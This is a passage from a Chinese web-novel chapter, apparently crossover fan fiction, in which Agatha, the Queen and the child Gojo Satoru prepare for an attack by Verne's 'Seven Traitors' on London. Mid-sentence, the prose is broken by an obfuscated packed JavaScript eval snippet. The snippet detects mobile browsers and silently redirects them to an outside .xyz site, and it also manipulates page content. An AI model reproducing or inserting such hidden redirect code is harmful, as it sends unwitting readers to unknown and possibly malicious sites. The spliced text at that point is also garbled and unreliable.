“勉强瞒住了,”阿加莎对女王说道,“一般的说辞还真骗不过他,真不知道就这么点时间,他是怎么做到对阿诺德这么熟悉的——他跟阿诺德认识才多久?居然一眼就认出那个外表一模一样的替身不是阿诺德,不过……” 阿加莎神情复杂,“……我跟他说,这个替身是阿诺德弄出来的,为的就是跟他们玩游戏,看谁能最先发现异常。兰波真的信了。” “……”女王沉默半晌,“不管怎么说,目的达到了就是好事。对了,你前两天得到的消息,可以确认真假吗?” 那个消息的内容就是【七个背叛者】近几日可能会突袭。 “确定是真。我去问了雪莱,雪莱说是真的,应该不会有错。”阿加莎语气担忧,“您……最近几天,一定要小心,我就在隔壁。” 女王轻轻点了点头,看来袭击就在近日了。 雪莱也是一名罕见的超越者,但他的异能十分特殊,只能预知某一个人或物的未来,而且不像命运女神那样可以随意查看,雪莱的异能更看运气。作为超越者,雪莱当然也是有自保能力的,他一旦预知到不妙的结果,可以通过某种途径改变死亡的未来,不过他最多只能扭转自己的命运,别人的不行。 其他人就算是下一秒就要死了,雪莱也无法插手,因此女王并没有指望他来保护自己,只是怀着某种希冀找他进行了预言。 雪莱银蓝色的眼眸如冰湖一样宁静,“您会长命百岁的。” 在不久之前,阿诺德闲来无事也去找过雪莱,把几个五颜六色的毛线球拿在手上把玩,害得雪莱只能搁置正在编织着的毛衣。 阿诺德对一切事物都怀有好奇,缠着雪莱为他进行了预知。 “我看到一群乌鸦在天空盘旋,”雪莱脸色苍白地说道,“它们在祭奠你的坟冢。” 25.chapter25 “……它们在祭奠你的坟冢。” 这个不详的预言让所有知情者忧心忡忡——除了阿诺德本人,没人不为这个死亡的提示感到焦灼。 雪莱的预言从未出过错,也不屑于说谎,所以阿诺德的确有血光之灾,这才是女王勒令他离开伦敦的根本原因。 在英国异能界,阿诺德是无人不知、无人不晓的人物,即使是再不认同他作风,再看不惯他散漫的人,也不得不承认一个事实——他是不列颠最强的超越者之一,跟他切磋过的人,无一不被那种碾压式的强大折服,单就个人实力而言,没人能否认他打破规则般的强悍。 能将他置于死地的人,必然也是万里挑一的超越者。 隶属于不列颠的超越者不会对同阵营的阿诺德起杀意,联系到近段时间声名鹊起的【七个背叛者】,可能杀死阿诺德的人就呼之欲出了。 曾为法国效力的超越者凡尔纳,异能名为【神秘岛】,可以吸收任何死在其异能生成的神秘岛上的异能者的异能,然后将死者的异能化为己用。 而且吸收的异能没有数量上的限制,凡尔纳只是一个人,却能驾驭无数种不同的异能,在他尚未背叛的时候,法国十分重视他。 那个契约型异能力者将契约对象换成凡尔纳,没人知道这是凡尔纳亲自授意的,还是那个契约型异能力者的一厢情愿,事到如今,这个问题的答案已经不重要了。 总而言之,凡尔纳这个存在巨大威胁的敌人掌握了阿诺德的弱点,再加上凡尔纳本身具有深不可测的实力,必须引起重视。 不列颠已经从这场战争里获得很多东西了。女王并非贪得无厌之人,她明白战争的机遇,也看到了其中蕴含的危险。在别无选择的情况下,她宁愿低头,也不愿再铤而走险。 她对敌我双方的战力差距心知肚明,原本可力挽狂澜的阿诺德被ban了,其他的超越者要么像莎士比亚、柯南·道尔那样还在出差,要么就如雪莱,异能太不可控,没有保护他人的能力。 如今伦敦就没几个排的上号的,之所以不直接放弃抵抗,只是为了让局面不那么难看而已——总不能缴械投降吧? 前天就连法国的总统都被强行带到了神秘岛,一直以来沉默的超越者终于向全世界展示了他们的獠牙,即使只有寥寥七人,拧成一股绳时,就已经坚不可摧。 单个的超越者已经是人形核武,更何况凝聚起来的【七个背叛者】?他们早已什么都不在乎,为了和平可以不择手段,即使满身脏污,亦不愧对自己的心。 【七个背叛者】出现的时候,欧洲各国还打得不可开交,异能战争将原本安居乐业的土地变成了战场,在底层的兵力不能满足高层们的侵略欲.望后,超越者也加入了战局,像英国一样,大多数国家的超越者都在外征战,短时间赶不回来,就这么滑稽地被偷了家。 现实变成了一场闹剧,超越者们打得头都要掉了,好不容易赢了,回家一看却懵了,总统\总理\首相哪去了? 什么?被【七个背叛者】绑架了? 太好了,战争结束,那他们就可以咸鱼躺了。 连着打这么久的仗,就算是超越者也叫苦连天啊! . “凡尔纳,你真该谢谢那个小兵,”有着一头绵羊卷棕发的少年说道,“要不是他的倾力相助,我们还不一定能拿下英国女王呢。” 凡尔纳是一个年轻而高大的男人,他面无表情地看着同伴,绵羊卷少年也知道自讨没趣了,“好吧,好吧,没有那个小兵,我们伟大的凡尔纳大人也能轻易地打败那个——” 少年古怪地停顿了一瞬,“我该叫他什么?怪物?还是别的?该死的,我不记得那个抢走‘黑之十二号’的英国佬叫什么名字了。” 凡尔纳并未回答他,只是提醒道,“不要半场开香槟。我们的计划还未成功,在希望的曙光降临之前,还有很长一段路要走。” 少年嘟囔道,“哪里早了?除了那个伊丽莎白女王,绝大多数国家的领导者都已经在神秘岛上了!” 少年语速极快地吐槽道,“听说那个女王的母亲也叫伊丽莎白。英国佬就喜欢这样起名,是不是?” 凡尔纳没有理会这个过于聒噪的同伴,他反复思考着即将实施的计划,尽可能完善每一处细节,减少可能出现的意外。 少年所说的那个小兵,就是一个契约型异能力者,据说,他几乎流干了血,才换来一个足以钳制超越者的契约。 凡尔纳知道这件事的时候,大脑一片空白,从同伴随意的话语中想起当年那个无比崇拜、尊敬着他的小兵。他只是像个正常的统帅那样救了小兵一命,对方就对他死心塌地,后来听说那小兵的父母在战争中离世了,凡尔纳还感到几分可惜。 他记得那个小兵才十五岁,第一次上战场,差点被迎面飞来的流弹打死,被他救下之后,竟是吓得发起了烧,烧晕过后嘴里迷迷糊糊地喊着“妈咪”之类的词汇,触动了他的恻隐之心。但他太忙了,没时间去关注那样一个小兵,渐渐地,对方在他的视线里消失了。 等凡尔纳再次听说那个小兵的时候,就是对方的死讯。很难说他当时是怎样的感受,鼻子酸吗?眼眶发胀吗?可能吧,但更多的是越发坚定的决心,他会终止这场惨烈的战争。 他紧绷太久了,从第一次萌生反战的想法起,他就一直蛰伏着,伺机联系并说服同样有所动摇的同类,最后以自己为核心,联合成了一个各国为之震怒的组织——【七个背叛者】。 女王是最后一步,只要成功掳走她,就没人能阻止黎明的到来。 凡尔纳曾经获得了一个有趣的异能,只要知道一个名字,就能得知对方的某个标签,属性,或者说是身份。 他对自己用过这个异能,给出的答案是【背叛者】【超越者】。 对其他同伴使用,结果是一样的【背叛者】【超越者】。 对普通人使用,就是【炮灰】【路人甲】之类的结果。 当那个栗发金眸的英国超越者初次展露锋芒时,凡尔纳也其用过异能,当时异能毫无反应地静止了好一会儿,半晌才吐出两个让他瞳孔紧缩的身份—— 【神所宠爱的孩子】 【最强超越者】 . “阿诺德没有到处乱跑吧?”某天晚上,女王在批改文书的间隙问道。 “没有,”总管回答道,“阿诺德先生还在房间里打游戏呢。” 女王感觉太阳穴突突地跳,仿佛昭示着不幸的将来,“替我揉揉太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426921|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳穴。” 总管上前,姿态谦卑地为这位追随了几十年的女王缓解压力。 “对了,那孩子呢?”女王又问。 “您是说小悟先生?他现在应该在会客室用糕点,跟阿诺德先生不一样,小悟先生喜好甜食。您现在要见他么?”总管笑了笑,马上领会了意思。以宫廷总管的职业素养,即使五条悟是个不满十岁的小孩,这位连任十几年的总管也自然地加上了敬称。 见女王点头,总管道,“请您稍等。” 不一会儿,五条悟就推开门进来了,不卑不亢,不见拘谨之色。这种从容倒是跟他的监护人很像。 女王心下满意,面上关心道,“食物还合口味么?” “挺好的。”五条悟实话实说,英国人做的食物偏甜,很合他的口味。宫廷厨师厨艺精湛,让他一口气吃了不少甜点和蛋糕,现在还有点撑。 女王笑了笑,“这几天辛苦你了。” 目前有三个人担任着保护女王的职责,阿加莎作为近卫骑士长自然首当其冲,兰波为了阿诺德也自愿接受任务,至于五条悟,他只是太无聊了,去钟塔本部闲逛的时候被忙红眼的阿加莎抓了壮丁。 兰波的重力异能适合正面作战,因此在最外围守候,而阿加莎是女王的亲信,待在居中的位置,五条悟离得最近,倒不是说明他最受信任,而是因为【无下限】在防御方面堪称无敌,没有物理攻势能击溃【无下限】。 五条悟也是属于未来可期的那一挂,【无下限】术式在一众异能者中毫不逊色,甚至可以说是鹤立鸡群。他唯一的缺点就是续航不太行,每次使用【无下限】都会对还未发育完成的大脑造成极大的负担,时间久了就会烧坏脑子,无法长时间维持。 五条悟对此做过测试,极限状态下,他最多维持术式三个小时,在这三个小时中,几乎是绝对安全的。为什么说是几乎,而不是绝对呢? 因为有个怪胎能无视【无下限】直接触碰到他,这个事实让五条悟有些难以接受,这是他的术式诶,凭什么向着阿诺德那家伙? 除了阿诺德,没人能直接突破他的防御——就连阿加莎这样的超越者也不行,她与五条悟对练的时候,通常不会尝试打破他的防守,更多的是拖到他无法维持【无下限】为止。 而且【无下限】并非只能防御,它的进攻能力同样不弱,虽然会造成很大的消耗,但是威力也相当大。 由于五条悟还是个小孩子,没办法一直维持【无下限】,所以他只需要等不速之客到来时再使用【无下限】就够了。只要五条悟的大脑还没到极限,就算是在暴风眼,他也能将自己和女王护得毫发无损。 他要做的就是拖时间,至于其他的,就交给阿加莎和兰波了。 眼看着太阳即将下山,就快到夜晚了。夜里向来是很适合袭击的时间,因此五条悟也不去待客厅里了,就坐在女王办公的旁边吃点心。 五条悟一手握着银叉子,漫不经心地戳了两下小蛋糕表面的白巧克力层,一手撑着脑袋,不知为何有些走神。 说起来……阿诺德去哪了?总不能还在钟塔总部,他可不是能在一个地方待这么久的性格。 女王遇袭可不是小事,以那家伙的风格,不可能不在场吧。